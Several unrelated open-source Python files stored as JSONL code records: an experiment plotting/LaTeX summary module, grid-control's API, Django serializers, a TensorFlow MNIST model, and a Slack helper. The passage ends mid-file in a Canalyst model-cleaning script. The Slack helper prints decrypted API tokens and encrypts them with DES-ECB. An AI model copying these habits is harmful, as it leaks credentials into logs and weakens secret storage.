\\color{magenta}#1}}\n min_idx = summary[\"is_min\"] == True\n summary.at[min_idx, \"mean_pm_sem\"] = summary[min_idx][\"mean_pm_sem\"].map(lambda x: latex_min_err_cmd + \"{\" + str(x) + \"}\")\n \n # Rename the column names for the final output (latex) \n summary.index = summary.index.set_names(['\\\\textbf{Sampling Budget}', '\\\\textbf{Modeling Technique}', '\\\\textbf{Modeling Method}'])\n\n # Create LaTex table (modeling methods as columns)\n table_label = exp_title + metric_name +\"Table\"\n latex_table = summary[\"mean_pm_sem\"].unstack(level=-2)\n # Substitute \"None\" with \"N/A\"\n latex_table.replace([None], 'N/A', inplace=True)\n # Bold column names\n rn = lambda a: \"\\\\textbf{\" + a + \"}\"\n latex_table = latex_table.rename(rn, axis='columns')\n latex_table = latex_table.to_latex(escape=False)\n latex_table = \"\\\\newenvironment{\" + table_label + \"\"\"} [2] \n {\\\\def\\\\tableCaption{#1}%\n \\\\def\\\\tableLabel{#2}%\n \\\\begin{table} \n \"\"\" + latex_table + \"\"\" \n \\\\caption{\\\\label{\\\\tableLabel}\\\\tableCaption}\n \n \\\\end{table}\n }\n {}\n \"\"\"\n save_to_file(file_name=os.path.join(results_dir, table_label + \".tex\"),\n data_str=latex_table)\n \n csv_filename = os.path.join(results_dir, exp_title + \"_results_\"+metric_name+\".csv\")\n try:\n summary.to_csv(csv_filename)\n logger.debug(\"summary saved to %s\", csv_filename)\n except Exception as e:\n csv_filename2 = os.path.join(results_dir, exp_title + \"_results_\"+metric_name+\"_\") + time.strftime(\"%Y%M%d_%I%M%S\") + \".csv\"\n logger.warning(\"Cannot save csv file %s saving it as %s\", csv_filename, csv_filename2)\n summary.to_csv(csv_filename2)\n\n @staticmethod\n def generate_plot(exp_results, metric_name, exp_title, results_dir, logger=logging.getLogger()):\n \"\"\"Creates and saves a plot of exp_results as a LaTex table and a csv file.\n The summary is an aggregation of metric_name over \"number_of_samples\", \"modeling_technique\", \"modeling_method\".\n\n\n \"\"\"\n summary = exp_results.groupby([\"number_of_samples\", \"modeling_technique\", \"modeling_method\"]\n )[metric_name].agg([\"mean\", \"std\", \"count\", \"sem\",\n \"min\", \"max\",\n percentile(25), percentile(50),\n percentile(75), percentile(95)\n ])\n\n #---------------------------------------------------------------------\n # Plot the metric\n x_values = summary.index.levels[0]\n modeling_techniques = summary.index.levels[1]\n modeling_methods = summary.index.levels[2]\n\n plot = plt.figure()\n labels = list()\n for modeling_technique in modeling_techniques:\n for modeling_method in modeling_methods:\n try:\n mean_data = summary.loc[[(x, modeling_technique, modeling_method) for x in x_values]][\"mean\"].tolist()\n error_data = summary.loc[[(x, modeling_technique, modeling_method) for x in x_values]][\"sem\"].tolist()\n if not math.isnan(mean_data[0]):\n label = str(modeling_technique) + \"-\" + str(modeling_method)\n labels.append(label)\n plt.errorbar(x_values, mean_data, yerr=error_data, label=label,\n elinewidth =1)\n except Exception as e:\n pass\n plt.legend(labels)\n plt.xlabel(\"Number of Samples\")\n plt.ylabel(metric_name)\n plot.show()\n axes = plot.gca()\n y_max = axes.get_ylim()[1]\n if y_max > 10 * np.percentile(list(summary.percentile_95), 75):\n y_max = np.percentile(list(summary.percentile_95), 75)\n if round(y_max, -2) > min(list(summary.percentile_95)):\n y_max = round(y_max, -2)\n if not np.isnan(y_max):\n axes.set_ylim([0.9*min(summary[\"min\"]),y_max])\n pdf_filename = os.path.join(results_dir, exp_title + \"_\" + metric_name + \".pdf\")\n try:\n pp = PdfPages(pdf_filename)\n pp.savefig(plot)\n pp.close()\n except Exception as e:\n pdf_filename2 = os.path.join(results_dir, exp_title + \"_\" + metric_name + \"_\" + time.strftime(\n \"%Y%M%d_%I%M%S\")+\".pdf\")\n logger.warning(\"Cannot save pdf file %s saving it as %s\", pdf_filename, pdf_filename2)\n pp = PdfPages(pdf_filename2)\n pp.savefig(plot)\n pp.close()\n axes.set_ylim([0.9*min(summary[\"min\"]),y_max])\n plt.yscale('log')\n\n pdf_filename = os.path.join(results_dir, exp_title + \"_\" + metric_name +\"_ylog.pdf\")\n try:\n pp = PdfPages(pdf_filename)\n pp.savefig(plot)\n pp.close()\n except Exception as e:\n pdf_filename2 = os.path.join(results_dir, exp_title + \"_\" + metric_name + \"_ylog_\" + time.strftime(\n \"%Y%M%d_%I%M%S\")+\".pdf\")\n logger.warning(\"Cannot save pdf file %s saving it as %s\", pdf_filename, pdf_filename2)\n pp = PdfPages(pdf_filename2)\n pp.savefig(plot)\n pp.close()\n\n\nclass ModelMapCompositeExperiment:\n\n def __init__(self, title, experiments):\n self.title = title\n self.experiments = experiments\n\n def run(self):\n results_dir = \"results/\"\n\n exp_results = pd.DataFrame(columns=[\"number_of_samples\", \"run_id\", \"modeling_technique\", \"modeling_method\",\n \"rmse\", \"rmsre\", \"rrmse\", \"mape\", \"acc_mse\", \"acc_r2\", \"acc_evs\", \"acc_ma\",\n \"acc_rmse\"])\n\n for experiment in self.experiments:\n experiment.run()\n df = pd.read_pickle(path=os.path.join(results_dir + experiment.title, experiment.title + EXP_RESULTS_FILE_EXT))\n exp_results = exp_results.append(df)\n\n results_dir = \"results/\" + self.title\n\n try:\n os.makedirs(results_dir)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n exp_results.to_csv(os.path.join(results_dir, self.title + EXP_RESULTS_FILE_EXT + \".csv\"))\n\n ModelMapExperiment.generate_summary(exp_results=exp_results,\n metric_name=\"rmse\",\n exp_title=self.title,\n results_dir=results_dir\n )\n\n ModelMapExperiment.generate_summary(exp_results=exp_results,\n metric_name=\"mape\",\n exp_title=self.title,\n results_dir=results_dir\n )\n","repo_name":"frioglobal/ModelMap","sub_path":"ModelMapExperiment.py","file_name":"ModelMapExperiment.py","file_ext":"py","file_size_in_byte":41006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"38013971770","text":"import os, sys, time, atexit, signal, logging\nfrom grid_control.config import create_config\nfrom grid_control.gc_exceptions import gc_excepthook\nfrom grid_control.gui import GUI, GUIException\nfrom grid_control.logging_setup import GCStreamHandler, logging_setup, parse_logging_args\nfrom grid_control.utils import abort, deprecated, ensure_dir_exists, get_path_share, get_version\nfrom grid_control.utils.activity import Activity\nfrom grid_control.utils.cmd_options import Options\nfrom grid_control.utils.file_tools import SafeFile, with_file\nfrom grid_control.utils.thread_tools import start_daemon\nfrom hpfwk import DebugInterface, Plugin, ignore_exception, init_hpf_plugins\nfrom python_compat import StringBuffer\n\n\ndef gc_create_config(cmd_line_args=None, **kwargs):\n\t# create config instance\n\tif cmd_line_args is not None:\n\t\t(_, args) = _parse_cmd_line(cmd_line_args)\n\t\tkwargs.setdefault('config_file', args[0])\n\t\tkwargs.setdefault('additional', []).append(OptsConfigFiller(cmd_line_args))\n\treturn create_config(register=True, **kwargs)\n\n\ndef gc_create_workflow(config, do_freeze=True, **kwargs):\n\treturn _gc_create_workflow(config, do_freeze, **kwargs)[0]\n\n\ndef gc_run(args=None, intro=True):\n\t# display the 'grid-control' logo and version\n\tif intro and not os.environ.get('GC_DISABLE_INTRO'):\n\t\tsys.stdout.write(SafeFile(get_path_share('logo.txt'), 'r').read_close())\n\t\tsys.stdout.write('Revision: %s\\n' % get_version())\n\tpyver = (sys.version_info[0], sys.version_info[1])\n\tif pyver < (2, 3):\n\t\tdeprecated('This python version (%d.%d) is not supported anymore!' % pyver)\n\tatexit.register(lambda: sys.stdout.write('\\n'))\n\n\t# main try... except block to catch exceptions and show error message\n\ttry:\n\t\treturn _gc_run(args)\n\texcept SystemExit: # avoid getting caught for Python < 2.5\n\t\tabort(True)\n\t\traise\n\texcept Exception: # coverage overrides sys.excepthook\n\t\tabort(True)\n\t\tgc_excepthook(*sys.exc_info())\n\t\tsys.exit(os.EX_SOFTWARE)\n\n\ndef handle_abort_interrupt(signum, frame, stream=sys.stdout):\n\tabort(True)\n\tstream.write('\\b\\b\\r')\n\tstream.flush()\n\thandle_abort_interrupt.log = Activity('Quitting grid-control! (This can take a few seconds...)',\n\t\tparent='root')\n\tsignal.signal(signum, signal.SIG_DFL)\n\n\ndef handle_debug_interrupt(sig=None, frame=None):\n\tbuffer = StringBuffer()\n\tGCStreamHandler.push_std_stream(buffer, buffer)\n\tDebugInterface(frame, interrupt_fun=_trigger_debug_signal).start_console(\n\t\tenv_dict={'output': buffer.getvalue})\n\tGCStreamHandler.pop_std_stream()\n\n\nclass OptsConfigFiller(Plugin.get_class('ConfigFiller')):\n\t# Config filler which collects data from command line arguments\n\tdef __init__(self, cmd_line_args):\n\t\tself._cmd_line_args = cmd_line_args\n\n\tdef fill(self, container):\n\t\tcombined_entry = container.get_entry('cmdargs', lambda entry: entry.section == 'global')\n\t\tnew_cmd_line = self._cmd_line_args\n\t\tif combined_entry:\n\t\t\tnew_cmd_line = combined_entry.value.split() + self._cmd_line_args\n\t\t(opts, _) = _parse_cmd_line(new_cmd_line)\n\t\tif opts.debug_console:\n\t\t\thandle_debug_interrupt()\n\t\tif opts.debug_trace:\n\t\t\tdebug_trace_kwargs = {}\n\t\t\tfor key_value in opts.debug_trace:\n\t\t\t\tdebug_trace_kwargs[key_value.split('=')[0]] = key_value.split('=')[1]\n\t\t\tDebugInterface().set_trace(**debug_trace_kwargs)\n\n\t\tdef _set_config_from_opt(section, option, value):\n\t\t\tif value is not None:\n\t\t\t\tself._add_entry(container, section, option, str(value), '') # pylint:disable=no-member\n\t\tcmd_line_config_map = {\n\t\t\t'state!': {'#init': opts.init, '#resync': opts.resync,\n\t\t\t\t'#display config': opts.help_conf, '#display minimal config': opts.help_confmin},\n\t\t\t'action': {'delete': opts.delete, 'cancel': opts.cancel, 'reset': opts.reset},\n\t\t\t'global': {'gui': opts.gui, 'submission': opts.submission},\n\t\t\t'jobs': {'jobs': opts.jobs, 'max retry': opts.max_retry, 'selected': opts.job_selector},\n\t\t\t'logging': {'debug mode': opts.debug},\n\t\t}\n\t\tfor section in cmd_line_config_map:\n\t\t\tfor (option, value) in cmd_line_config_map[section].items():\n\t\t\t\t_set_config_from_opt(section, option, value)\n\t\tfor (logger_name, logger_level) in parse_logging_args(opts.logging):\n\t\t\t_set_config_from_opt('logging', logger_name + ' level', logger_level)\n\t\tif opts.action is not None:\n\t\t\t_set_config_from_opt('workflow', 'action', opts.action.replace(',', ' '))\n\t\tif opts.continuous:\n\t\t\t_set_config_from_opt('workflow', 'duration', -1)\n\t\tif opts.override:\n\t\t\tPlugin.create_instance('StringConfigFiller', opts.override).fill(container)\n\n\ndef _debug_watchdog():\n\tdef _check_write_stack_log():\n\t\tif os.path.exists('gc_debug_stack.log'):\n\t\t\twith_file(SafeFile('gc_debug_stack.log', 'w'),\n\t\t\t\tlambda fp: DebugInterface(stream=fp).show_stack(thread_id='all'))\n\twhile True:\n\t\tignore_exception(Exception, None, _check_write_stack_log)\n\t\ttime.sleep(60)\n\n\ndef _gc_create_workflow(config, do_freeze=True, **kwargs):\n\t# create workflow from config and do initial processing steps\n\t# set up signal handler for interrupts and debug session or stack dump requests\n\tsignal.signal(signal.SIGURG, handle_debug_interrupt)\n\tsignal.signal(signal.SIGINT, handle_abort_interrupt)\n\tstart_daemon('debug watchdog', _debug_watchdog)\n\n\t# Configure logging settings\n\tlogging_setup(config.change_view(set_sections=['logging']))\n\n\tglobal_config = config.change_view(set_sections=['global'])\n\t_setup_work_path(global_config)\n\tfor package_paths in global_config.get_dn_list('package paths', [], on_change=None):\n\t\tinit_hpf_plugins(package_paths)\n\n\t# Query config settings before config is frozen\n\thelp_cfg = global_config.get_state('display', detail='config')\n\thelp_scfg = global_config.get_state('display', detail='minimal config')\n\n\taction_config = config.change_view(set_sections=['action'])\n\taction_cancel = action_config.get(['delete', 'cancel'], '', on_change=None)\n\taction_reset = action_config.get('reset', '', on_change=None)\n\n\t# Create workflow and freeze config settings\n\tworkflow = global_config.get_plugin('workflow', 'Workflow:global', cls='Workflow', pkwargs=kwargs)\n\tgui = config.get_plugin('gui', 'BasicConsoleGUI', cls=GUI, on_change=None, pargs=(workflow,))\n\tif do_freeze:\n\t\tconfig.factory.freeze(write_config=config.get_state('init', detail='config'))\n\n\t# Give config help\n\tif help_cfg or help_scfg:\n\t\tconfig.write(sys.stdout, print_default=help_cfg, print_unused=False,\n\t\t\tprint_minimal=help_scfg, print_source=help_cfg)\n\t\tsys.exit(os.EX_OK)\n\n\t# Check if user requested deletion / reset of jobs\n\tif action_cancel:\n\t\tworkflow.job_manager.cancel(workflow.task, workflow.backend, action_cancel)\n\t\tsys.exit(os.EX_OK)\n\tif action_reset:\n\t\tworkflow.job_manager.reset(workflow.task, workflow.backend, action_reset)\n\t\tsys.exit(os.EX_OK)\n\n\treturn (workflow, gui)\n\n\ndef _gc_run(args):\n\tconfig = gc_create_config(args or sys.argv[1:], use_default_files=True)\n\t(workflow, gui) = _gc_create_workflow(config)\n\tif not abort():\n\t\tDebugInterface.callback_list.append((gui.end_interface, gui.start_interface))\n\t\ttry:\n\t\t\ttry:\n\t\t\t\tgui.start_interface()\n\t\t\texcept Exception:\n\t\t\t\t# capture nested exception infos before calling ignore_exception\n\t\t\t\tex_value = GUIException('GUI init exception')\n\t\t\t\tignore_exception(Exception, None, gui.end_interface)\n\t\t\t\traise ex_value\n\t\t\ttry:\n\t\t\t\tworkflow.run()\n\t\t\tfinally:\n\t\t\t\tgui.end_interface()\n\t\tfinally:\n\t\t\tDebugInterface.callback_list.remove((gui.end_interface, gui.start_interface))\n\n\ndef _parse_cmd_line(cmd_line_args):\n\t# grid-control command line parser\n\tparser = Options(usage='%s [OPTIONS] ', add_help_option=False)\n\tparser.add_bool(None, ' ', 'debug', default=False)\n\tparser.add_bool(None, ' ', 'help-conf', default=False)\n\tparser.add_bool(None, ' ', 'help-confmin', default=False)\n\tparser.add_bool(None, 'c', 'continuous', default=False)\n\tparser.add_bool(None, 'h', 'help', default=False)\n\tparser.add_bool(None, 'i', 'init', default=False)\n\tparser.add_bool(None, 'q', 'resync', default=False)\n\tparser.add_bool(None, 's', 'no-submission', default=True, dest='submission')\n\tparser.add_bool(None, 'G', 'gui', default=False, dest='gui_ansi')\n\tparser.add_accu(None, 'v', 'verbose')\n\tparser.add_list(None, 'l', 'logging')\n\tparser.add_list(None, 'o', 'override')\n\tparser.add_text(None, 'a', 'action')\n\tparser.add_text(None, 'd', 'delete')\n\tparser.add_text(None, 'C', 'cancel')\n\tparser.add_text(None, 'J', 'job-selector')\n\tparser.add_text(None, 'n', 'jobs')\n\tparser.add_text(None, 'm', 'max-retry')\n\tparser.add_text(None, ' ', 'reset')\n\tparser.add_bool(None, ' ', 'debug-console', False) # undocumented debug option\n\tparser.add_list(None, ' ', 'debug-trace') # undocumented debug option\n\t# Deprecated options - refer to new report script instead\n\tfor (sopt, lopt) in [('-r', 'report'), ('-R', 'site-report'), ('-T', 'time-report'),\n\t\t\t('-M', 'task-report'), ('-D', 'detail-report'), ('', 'help-vars')]:\n\t\tparser.add_bool(None, sopt, lopt, default=False, dest='old_report')\n\n\t(opts, args, _) = parser.parse(args=cmd_line_args)\n\topts.gui = None\n\tif opts.gui_ansi:\n\t\topts.gui = 'ANSIGUI'\n\topts.continuous = opts.continuous or None # either True or None\n\t# Display help\n\tif opts.help:\n\t\tparser.exit_with_usage(msg=SafeFile(get_path_share('help.txt')).read_close(), show_help=False)\n\t# Require single config file argument\n\tif len(args) == 0:\n\t\tparser.exit_with_usage(msg='Config file not specified!')\n\telif len(args) > 1:\n\t\tparser.exit_with_usage(msg='Invalid command line arguments: %r' % cmd_line_args)\n\t# Warn about deprecated report options\n\tif opts.old_report:\n\t\tdeprecated('Please use the more versatile report tool in the scripts directory!')\n\t# Configure preliminary logging\n\tlogging.getLogger().setLevel(max(1, logging.DEFAULT - opts.verbose))\n\treturn (opts, args)\n\n\ndef _setup_work_path(config):\n\t# Check work dir validity (default work directory is the config file name)\n\tif not os.path.exists(config.get_work_path()):\n\t\tif not config.get_state('init'):\n\t\t\tlog = logging.getLogger('workflow')\n\t\t\tlog.warning('Starting initialization of %s!', config.get_work_path())\n\t\t\tconfig.set_state(True, 'init')\n\t\twork_dn_create_msg = 'Do you want to create the working directory %s?'\n\t\tif config.get_choice_yes_no('workdir create', True,\n\t\t\t\tinteractive_msg=work_dn_create_msg % config.get_work_path()):\n\t\t\tensure_dir_exists(config.get_work_path(), 'work directory')\n\n\ndef _trigger_debug_signal(duration):\n\tdef _signal_debug_console():\n\t\ttime.sleep(duration)\n\t\tos.kill(os.getpid(), signal.SIGURG)\n\tstart_daemon('debug console trigger', _signal_debug_console)\n","repo_name":"grid-control/grid-control","sub_path":"packages/grid_control_api.py","file_name":"grid_control_api.py","file_ext":"py","file_size_in_byte":10390,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"11"} +{"seq_id":"29350380323","text":"from django.utils.translation import gettext_lazy as _\n\nfrom rest_framework import serializers\n\nfrom toolhub.apps.user.serializers import UserSerializer\nfrom toolhub.decorators import doc\nfrom toolhub.serializers import ModelSerializer\n\nfrom .models import Run\nfrom .models import RunUrl\nfrom .models import Url\n\n\n@doc(_(\"\"\"A URL that has been registered for crawling\"\"\"))\nclass UrlSerializer(ModelSerializer):\n \"\"\"Details of a URL that has been registered for crawling.\"\"\"\n\n created_by = UserSerializer(many=False, read_only=True)\n\n class Meta:\n \"\"\"Configure serializer.\"\"\"\n\n model = Url\n fields = [\"id\", \"url\", \"created_by\", \"created_date\"]\n\n\n@doc(_(\"\"\"A URL to crawl\"\"\"))\nclass EditUrlSerializer(ModelSerializer):\n \"\"\"A URL that will be crawled.\"\"\"\n\n class Meta:\n \"\"\"Configure serializer.\"\"\"\n\n model = Url\n fields = [\"url\"]\n\n\n@doc(_(\"\"\"Information about a single URL processed during a crawler run\"\"\"))\nclass RunUrlSerializer(ModelSerializer):\n \"\"\"Information about a single URL processed during a crawler run.\"\"\"\n\n url = UrlSerializer(many=False, read_only=True)\n\n class Meta:\n \"\"\"Configure serializer.\"\"\"\n\n model = RunUrl\n fields = [\n \"id\",\n \"run_id\",\n \"url\",\n \"status_code\",\n \"redirected\",\n \"elapsed_ms\",\n \"schema\",\n \"valid\",\n \"logs\",\n ]\n\n\n@doc(_(\"\"\"Summary of a single run of the crawler.\"\"\"))\nclass RunSerializer(ModelSerializer):\n \"\"\"Summary of a single run of the crawler.\"\"\"\n\n crawled_urls = serializers.IntegerField()\n\n class Meta:\n \"\"\"Configure serializer.\"\"\"\n\n model = Run\n fields = [\n \"id\",\n \"start_date\",\n \"end_date\",\n \"crawled_urls\",\n \"new_tools\",\n \"updated_tools\",\n \"total_tools\",\n ]\n read_only_fields = fields\n","repo_name":"wikimedia/wikimedia-toolhub","sub_path":"toolhub/apps/crawler/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"69933689308","text":"# 진법 변환\n\ndef convert(a, b):\n num = \"\"\n while(a != 0):\n div = a%b\n if div >= 10:\n num = chr(div + 55) + num\n else :\n num = str(div) + num\n a = int(a/b)\n\n return num\n\nN, B = map(int, input().split())\n\nprint(convert(N, B))\n\n# 다른 풀이\n# zinsu = [str(x) for x in range(10)] + [chr(x) for x in range(ord('A'), ord('Z')+1)]\n# nums = []\n# while n > 0:\n# nums.append(zinsu[(n % b)])\n# n = n // b\n# print(''.join(nums[::-1]))","repo_name":"bjho606/python_algorithm_baekjun","sub_path":"Baekjoon/basic math/11005.py","file_name":"11005.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1970557044","text":"import contextlib\nimport json\nimport math\nimport string\nimport tempfile\nimport wave\nfrom subprocess import check_output\nfrom typing import Dict, List\nfrom transcript import Transcript\n\n\ndef process_with_gentle(cleaned_transcript: str, audio_path: str) -> Dict:\n \"\"\"Processes a transcript and audio file with Gentle.\n\n Parameters:\n cleaned_transcript (str): A cleaned transcript.\n audio_path (str): Path to audio file.\n\n Returns:\n (dict): Json response from Gentle.\n \"\"\"\n temp = tempfile.NamedTemporaryFile(mode=\"w+t\")\n temp.write(cleaned_transcript)\n temp.seek(0)\n gentle_response: str = check_output([\"python\", \"gentle/align.py\",\n audio_path, temp.name])\n temp.close()\n\n return json.loads(gentle_response)\n\n\ndef process_timestamps(transcript_obj: Transcript, gentle_json: Dict) -> Dict[str, Dict[str, float]]:\n \"\"\"Creates a dictionary of start and end times of phrases.\n\n Parameters:\n transcript_obj (Transcript Obj):\n gentle_json (dict): Dictionary of processed words from Gentle.\n\n Returns:\n timestamps (dict): A dictionary containing the start and end times of\n a phrase.\n \"\"\"\n gentle_words: List[Dict] = gentle_json[\"words\"]\n timestamps: Dict[str, Dict[str, float]] = {}\n\n for cleaned_phrase in transcript_obj.cleaned_phrases:\n words_in_phrase: List[str] = cleaned_phrase.split()\n phrase_timestamp: Dict[str, float] = {}\n for idx, word in enumerate(words_in_phrase):\n gentle_word: Dict = gentle_words.pop(0)\n assert gentle_word[\"word\"] == word.strip(string.punctuation), \"Word not found in Gentle json\"\n\n if idx == 0:\n phrase_timestamp[\"start\"] = round(gentle_word[\"start\"], 2)\n elif idx == len(words_in_phrase) - 1:\n phrase_timestamp[\"end\"] = round(gentle_word[\"end\"], 2)\n\n timestamps[cleaned_phrase] = phrase_timestamp\n\n return timestamps\n\n\ndef timestamps_to_frames(timestamps: Dict, audio_path: str, fps: int = 30) -> Dict[str, Dict[str, int]]:\n \"\"\"Takes a timestamp dictionary as returned by process_timestamps\n and converts times to frames.\n\n Parameters:\n timestamps (dict): A dictionary containing the start and end times of\n a phrase.\n audio_path (str): Path to audio file used for transcript.\n fps (int): Frames per second.\n\n Returns:\n frames (dict): A dictionary containing the start and end frames of a phrase.\n \"\"\"\n with contextlib.closing(wave.open(audio_path, 'r')) as f:\n frames: int = f.getnframes()\n rate: int = f.getframerate()\n duration: float = frames / float(rate)\n\n total_frames: int = math.ceil(duration * fps)\n current_no_frames: int = 0\n frames: Dict[str, Dict[str, int]] = {}\n phrases: List[str] = list(timestamps.keys())\n\n for idx, phrase in enumerate(phrases):\n timestamp: Dict[str, float] = timestamps[phrase]\n\n if idx == 0:\n beginning_frames: int = round(timestamp[\"start\"] * fps)\n frames[\"beginning_image\"] = {\"start\": 0, \"end\": beginning_frames}\n current_no_frames += beginning_frames\n\n if idx <= len(timestamps) - 2:\n num_frames: int = round((timestamps[phrases[idx + 1]][\"start\"] - timestamp[\"start\"]) * fps)\n frames[phrase] = {\"start\": current_no_frames + 1, \"end\": current_no_frames + num_frames}\n current_no_frames += num_frames\n else:\n frames[phrase] = {\"start\": current_no_frames + 1, \"end\": total_frames}\n\n return frames\n\n\nif __name__ == \"__main__\":\n pass\n\n\n\n","repo_name":"rewong03/auto_vid_maker","sub_path":"gentle_handler.py","file_name":"gentle_handler.py","file_ext":"py","file_size_in_byte":3599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27106196797","text":"import os\n\nfrom Crypto.Cipher import DES\nfrom slackclient import SlackClient\n\nfrom db.sql.db_interface import DbInterface\n\ndb_seed = os.environ[\"db_seed\"]\ndes = DES.new(db_seed, DES.MODE_ECB)\ndb_interface = DbInterface()\n\n\nclass SlackHelper(object):\n\n @staticmethod\n def post_msg(response, channel_id, team_id=None):\n token = des.decrypt(bytes(db_interface.search_slack_workspace(team_id)))\n token = token[0:-4].decode('utf-8')\n # print(\"token here: \", token) # tirar esse print\n client1 = SlackClient(token)\n client1.api_call(\n \"chat.postMessage\",\n username=\"PersonalAssistant\",\n channel=channel_id,\n as_user=False,\n icon_url=\"https://upload.wikimedia.org/wikipedia/commons/thumb/5/51/\"\n \"Mr._Smiley_Face.svg/2000px-Mr._Smiley_Face.svg.png\",\n text=response\n )\n\n @staticmethod\n def find_user_channel(user_id, team_id):\n token = des.decrypt(bytes(db_interface.search_slack_workspace(team_id)))\n token = token[0:-4].decode('utf-8')\n # print(\"token here: \", token) #tirar esse print\n client1 = SlackClient(token)\n user_channel = client1.api_call(\"conversations.open\", users=user_id)\n print(user_channel)\n return user_channel[\"channel\"][\"id\"]\n\n @staticmethod\n def users_list(user_id, team_id):\n token = des.decrypt(bytes(db_interface.search_slack_workspace(team_id)))\n token = token[0:-4].decode('utf-8')\n print(\"token here: \", token) # tirar esse print\n client1 = SlackClient(token)\n\n channels = []\n members = []\n\n users_conv = client1.api_call(\n \"users.conversations\",\n user=user_id\n )\n print(users_conv)\n for channel in users_conv[\"channels\"]:\n channels.append(channel[\"id\"])\n\n # print(\"channels list: \", channels)\n\n for channel in channels:\n channel_info = client1.api_call(\"channels.info\", channel=channel)\n for member in channel_info[\"channel\"][\"members\"]:\n members.append(member)\n\n print(\"members list: \", members)\n\n return members\n","repo_name":"imagure/personal_assistant","sub_path":"client_interface/slack_client.py","file_name":"slack_client.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26544040420","text":"import tensorflow as tf\r\n\r\nclass MODEL:\r\n def __init__(self, LR, filter_num, batch_size):\r\n self.LR = LR\r\n self.filter_num = filter_num\r\n self.batch_size = batch_size\r\n self.kernel = tf.keras.initializers.he_normal()\r\n \r\n with tf.variable_scope(\"model_input\"):\r\n self.x = tf.placeholder(tf.float32, [None, 784], name = 'input')\r\n self.y = tf.placeholder(tf.float32, [None, 10])\r\n \r\n with tf.variable_scope(\"model\"):\r\n self.output = self.main(self.x)\r\n \r\n self.loss = tf.losses.softmax_cross_entropy(self.y, self.output)\r\n self.train_op = tf.train.AdamOptimizer(self.LR).minimize(self.loss)\r\n \r\n with tf.variable_scope(\"result\"):\r\n self.output = tf.nn.softmax(self.output, name = 'softmax')\r\n self.accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(self.output,1), tf.argmax(self.y,1)), tf.float32))\r\n self.prediction = tf.argmax(self.output, 1, name = 'prediction')\r\n \r\n \r\n def main(self, img): \r\n img = tf.reshape(img, [-1, 28, 28, 1])\r\n img = tf.layers.conv2d(img, self.filter_num, 3, 2, 'same', kernel_initializer = self.kernel)\r\n img = tf.nn.relu(tf.layers.batch_normalization(img, training = True))\r\n #img = tf.layers.average_pooling2d(img, 2, 2)#32, 32, 32\r\n \r\n img = tf.layers.conv2d(img, self.filter_num*2, 3, 2, 'same', kernel_initializer = self.kernel)\r\n img = tf.nn.relu(tf.layers.batch_normalization(img, training = True))\r\n #img = tf.layers.average_pooling2d(img, 2, 2)#16, 16, 64\r\n \r\n img = tf.layers.conv2d(img, self.filter_num*4, 3, 2, 'same', kernel_initializer = self.kernel)\r\n img = tf.nn.relu(tf.layers.batch_normalization(img, training = True))\r\n #img = tf.layers.average_pooling2d(img, 2, 2)#8, 8, 128\r\n \r\n img = tf.layers.flatten(img)\r\n img = tf.layers.dense(img, 1024, 'relu')\r\n img = tf.layers.dense(img, 128, 'relu')\r\n img = tf.layers.dense(img, 10)\r\n return img\r\n \r\n ","repo_name":"allen050883/Deeplearning","sub_path":"tensorflow/pb_create/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"35861676052","text":"import sys\nimport pandas as pd\nimport yahoo_fin.stock_info as si\n\nticker = sys.argv[1]\ndirectory = sys.argv[2] if len(sys.argv) >=3 else '/home/michael/Documents/325capital/CanalystModels/'\n\n\n# load the dictionary with most recent fiscal periods (MRFP)\nwith open('mrfp.txt') as f:\n mrfp_dict = eval(f.read())\nprint('MRFP dictionary loaded')\n\n# lookup the MRFP for the ticker. If missing, prompt for it.\nmrfp = mrfp_dict.get(ticker) \\\n or input('The most recent fiscal period for {0} is missing\\nPlease enter the most recent fiscal period in format QQ-YYYY\\n'.format(ticker))\nprint('The most recent fiscal period for {0} is {1}'.format(ticker, mrfp))\n\n# make sure the ticker is in the dict and save the MRFP dict to a file\nmrfp_dict[ticker] = mrfp\nwith open('mrfp.txt', 'w') as f:\n f.write( str(mrfp_dict) )\n\n# load the dictionary linking tickers to filenames, check to see if ticker in filename dictionary, prompt for it if missing then add to dictionary\nwith open('modeldict.txt') as f:\n model_dict = eval(f.read())\nprint('model list loaded')\n\n# lookup the filename for the ticker. If missing, prompt for it.\nmodel_name = model_dict.get(ticker) \\\n or input('The model name for {0} is unknown\\nPlease enter the model name, leaving off .xlsx\\n'.format(ticker))\n\n# make sure the model name is in the dict and save the modelname dict to a file\nmodel_dict[ticker] = model_name\nwith open('modeldict.txt', 'w') as f:\n f.write( str(model_dict) )\n\nprint('Preparing to import and clean the {0} model from the file \"{1}\" located in {2}'.format(ticker, model_dict[ticker], directory))\n\n# create a pandas dataframe from the Model sheet of the Canalyst file\npath = directory + model_dict[ticker] + \".xlsx\"\ncan_model = pd.read_excel(path, sheet_name='Model', header=4, index_col=0)\nprint('The model has been imported')\n\n# drop blank rows\ntemp_model = can_model[can_model.index.notnull()]\n\n# drop blank columns\ntemp_model = temp_model.loc[:,~temp_model.columns.str.startswith('Unn')]\n\n# create list of section names in preparation for adding second index\nsection_names = {\n 'Growth Analysis' : 'growth',\n 'Margin Analysis' : 'margin',\n 'Segmented Results Breakdown (FS)' : 'segments',\n 'Key Metrics - Backlog (FS)' : 'backlog',\n 'Segmented Results Breakdown - Historical (FS)' : 'segments_historical',\n 'Income Statement - As Reported' : 'is',\n 'Adjusted Numbers - As Reported' : 'adj_is',\n 'GAAP EPS' : 'eps',\n 'Revised Income Statement' : 'ris',\n 'Cash Flow Summary' : 'cf_sum',\n 'Balance Sheet Summary' : 